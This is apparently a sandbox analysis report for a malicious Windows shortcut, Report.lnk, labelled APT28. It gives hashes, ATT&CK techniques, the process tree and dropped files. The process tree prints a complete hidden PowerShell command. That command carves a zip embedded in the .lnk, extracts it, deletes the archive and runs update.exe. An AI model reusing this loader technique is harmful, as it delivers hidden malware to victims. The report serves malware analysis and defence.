ed6a6e1bfacaa0d18f44616342463cc6702a80d24ea1b7750f0b4305dade2673

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
19/11/2024, 11:26

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General

Target

APT28/2-Execution/lnk/Report.lnk
Size

204KB
MD5

ef4579d6e1e665056bc593ecbad1e473
SHA1

de45b08deb1cccf50215a1318d83adf39d67f257
SHA256

37d7f927abcd4d1bf617e8279b8b8d7c8b14abec089e856faa6ffe36937c4e16
SHA512

3ad5ef1e96a97009726322384a497ffedd5c48f6fc64ce7349adeabc99156f54df510f9cb5a5f49bc0d8b6a32a994756ea9b02f6dbff78f6ed2c7cc057d9d230
SSDEEP

3072:J6LpD98Rr6vKDHJX0DPlHoPUBXgWXGMpgE6oLV2ISgA+4pOyB3yF3vxskk1GovNB:w4HhglHoyX8E6+V4gp9yBi3vxsXRb

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3764	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-4089630652-1596403869-279772308-1000\Control Panel\International\Geo\Nation	cmd.exe

Executes dropped EXE 1 IoCs

pid	Process
528	update.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3764	powershell.exe
3764	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3764	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2288 wrote to memory of 2212	2288	cmd.exe	86
PID 2288 wrote to memory of 2212	2288	cmd.exe	86
PID 2212 wrote to memory of 3764	2212	cmd.exe	88
PID 2212 wrote to memory of 3764	2212	cmd.exe	88
PID 3764 wrote to memory of 528	3764	powershell.exe	89
PID 3764 wrote to memory of 528	3764	powershell.exe	89

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\APT28\2-Execution\lnk\Report.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2288
- C:\Windows\system32\cmd.exe
  "C:\Windows\system32\cmd.exe" /c powershell -windowstyle hidden $obf_lnkpath = Get-ChildItem *.lnk ^| where-object {$_.length -eq 00209578} ^| Select-Object -ExpandProperty FullName;$obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath);$obf_path = 'C:\Users\Admin\AppData\Local\Temp\tmp'+(Get-Random)+'.zip';$obf_path = [Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir = [System.IO.Path]::GetDirectoryName($obf_path);[System.IO.File]::WriteAllBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA SilentlyContinue -Force ^| Out-Null;Remove-Item -Path $obf_path -EA SilentlyContinue -Force ^| Out-Null;^& .\update.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2212
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -windowstyle hidden $obf_lnkpath = Get-ChildItem *.lnk | where-object {$_.length -eq 00209578} | Select-Object -ExpandProperty FullName;$obf_file = [system.io.file]::ReadAllBytes($obf_lnkpath);$obf_path = 'C:\Users\Admin\AppData\Local\Temp\tmp'+(Get-Random)+'.zip';$obf_path = [Environment]::ExpandEnvironmentVariables($obf_path);$obf_dir = [System.IO.Path]::GetDirectoryName($obf_path);[System.IO.File]::WriteAllBytes($obf_path, $obf_file[003412..($obf_file.length)]);cd $obf_dir;Expand-Archive -Path $obf_path -DestinationPath . -EA SilentlyContinue -Force | Out-Null;Remove-Item -Path $obf_path -EA SilentlyContinue -Force | Out-Null;& .\update.exe
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:3764
  - - C:\Users\Admin\AppData\Local\Temp\update.exe
      "C:\Users\Admin\AppData\Local\Temp\update.exe"
      4⤵
      Executes dropped EXE
      PID:528

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

File Deletion

T1070.004

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_icev5os2.1bx.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\update.exe

Filesize
321KB

MD5
536998185193b231e62d404c51121b8c

SHA1
0b86221d0237f06081e286746b1b5bb836ad4004

SHA256
d69fa80c8e54e8331e63c2d130a5d7b475f8c378971d9571db1d368662f7d6fd

SHA512
789f9bbac831b54aeb4c2dfb61d35e21f9b031897bc1d4daa37fad48ddd849223a6a1432a9428953b1b2541960c2b9367709ed17e22d2852ae6dc96f82a9bd09

Download Submit
memory/528-33-0x00000000006B0000-0x0000000000708000-memory.dmp

Filesize
352KB

Download
memory/528-32-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/528-31-0x00000000006B0000-0x0000000000708000-memory.dmp

Filesize
352KB

Download
memory/528-30-0x0000000000660000-0x00000000006AC000-memory.dmp

Filesize
304KB

Download
memory/3764-15-0x00000163E8FC0000-0x00000163E8FD2000-memory.dmp

Filesize
72KB

Download
memory/3764-16-0x00000163E8FB0000-0x00000163E8FBA000-memory.dmp

Filesize
40KB

Download
memory/3764-0-0x00007FFF96D93000-0x00007FFF96D95000-memory.dmp

Filesize
8KB

Download
memory/3764-29-0x00007FFF96D90000-0x00007FFF97851000-memory.dmp

Filesize
10.8MB

Download
memory/3764-14-0x00007FFF96D90000-0x00007FFF97851000-memory.dmp

Filesize
10.8MB

Download
memory/3764-12-0x00007FFF96D90000-0x00007FFF97851000-memory.dmp

Filesize
10.8MB

Download
memory/3764-11-0x00007FFF96D90000-0x00007FFF97851000-memory.dmp

Filesize
10.8MB

Download
memory/3764-10-0x00000163E8D30000-0x00000163E8D52000-memory.dmp

Filesize
136KB

Download